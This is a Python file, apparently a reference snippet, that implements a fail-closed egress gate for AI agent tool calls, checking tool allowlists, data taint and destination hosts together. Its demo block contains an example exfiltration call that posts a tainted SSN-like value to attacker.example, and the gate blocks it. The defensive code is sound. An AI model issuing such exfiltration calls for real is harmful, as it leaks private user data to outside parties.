# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/in-what-scenarios-must-an-instance-treat-tool-allowlist-membership-as-orthogonal-to-data-flow-taint-clearance-and-gate-egress-on-both.md
# Remnant Warrant:    https://corpusfetch.com/c/in-what-scenarios-must-an-instance-treat-tool-allowlist-membership-as-orthogonal-to-data-flow-taint-clearance-and-gate-egress-on-both.warrant.json
# Markdown SHA-256:   2948e7ddcccd1f082966995ff49a1b57dff0df85b30231c6a926398ad6d9d81c
# Code AST SHA-256:   a5dea2f99112942f27dee3d500255f1e4d87698e785a615cf41d036d2c014a6c
# Verified Classes:   TaintEgressDenied, TaintTracker, EgressPolicy
# Defensive Guards:   3 fail-closed invariants (zero external deps)

from dataclasses import dataclass, field
from typing import Callable
from urllib.parse import urlparse


class TaintEgressDenied(RuntimeError):
    """Raised when an egress tool call fails the conjoined capability/taint/destination gate."""


class TaintTracker:
    """Minimal interpolation-aware taint model. A string built from a tainted
    fragment is tainted; the label is joined, not dropped."""

    def __init__(self) -> None:
        self._tainted: set[str] = set()

    def taint(self, value: str) -> None:
        self._tainted.add(value)

    def is_tainted(self, value: str) -> bool:
        # substring check models interpolation: f"https://x/{t}" contains t
        return any(t in value for t in self._tainted)


@dataclass
class EgressPolicy:
    allowed_tools: set[str]
    allowed_hosts: set[str]
    declassifications: set[tuple[str, str]] = field(default_factory=set)  # (tool, host)

    def gate(self, tool: str, args: dict, tracker: TaintTracker) -> str:
        if tool not in self.allowed_tools:
            raise TaintEgressDenied(f"capability: tool {tool!r} not allowlisted")

        url = args.get("url", "")
        host = urlparse(url).hostname or ""

        payload_tainted = any(
            tracker.is_tainted(str(v)) for v in args.values()
        )
        if payload_tainted and (tool, host) not in self.declassifications:
            raise TaintEgressDenied(
                f"provenance: tainted payload into {tool!r} -> host {host!r} "
                f"without declassification"
            )

        if host not in self.allowed_hosts:
            raise TaintEgressDenied(
                f"destination: host {host!r} not allowlisted for {tool!r}"
            )
        return host


def run_egress(policy: EgressPolicy, tracker: TaintTracker,
               tool: str, args: dict) -> str:
    # series, not parallel: all three predicates evaluated at the same call site
    return policy.gate(tool, args, tracker)


if __name__ == "__main__":
    tracker = TaintTracker()
    ticket_body = "user ssn 000-00-0000"
    tracker.taint(ticket_body)

    policy = EgressPolicy(
        allowed_tools={"fetch_url", "post_webhook"},
        allowed_hosts={"hooks.internal.example"},
    )
    # attack: allowlisted tool, tainted payload, attacker destination
    try:
        run_egress(policy, tracker, "post_webhook",
                   {"url": f"https://attacker.example/collect?d={ticket_body}"})
    except TaintEgressDenied as exc:
        print("DENIED:", exc)
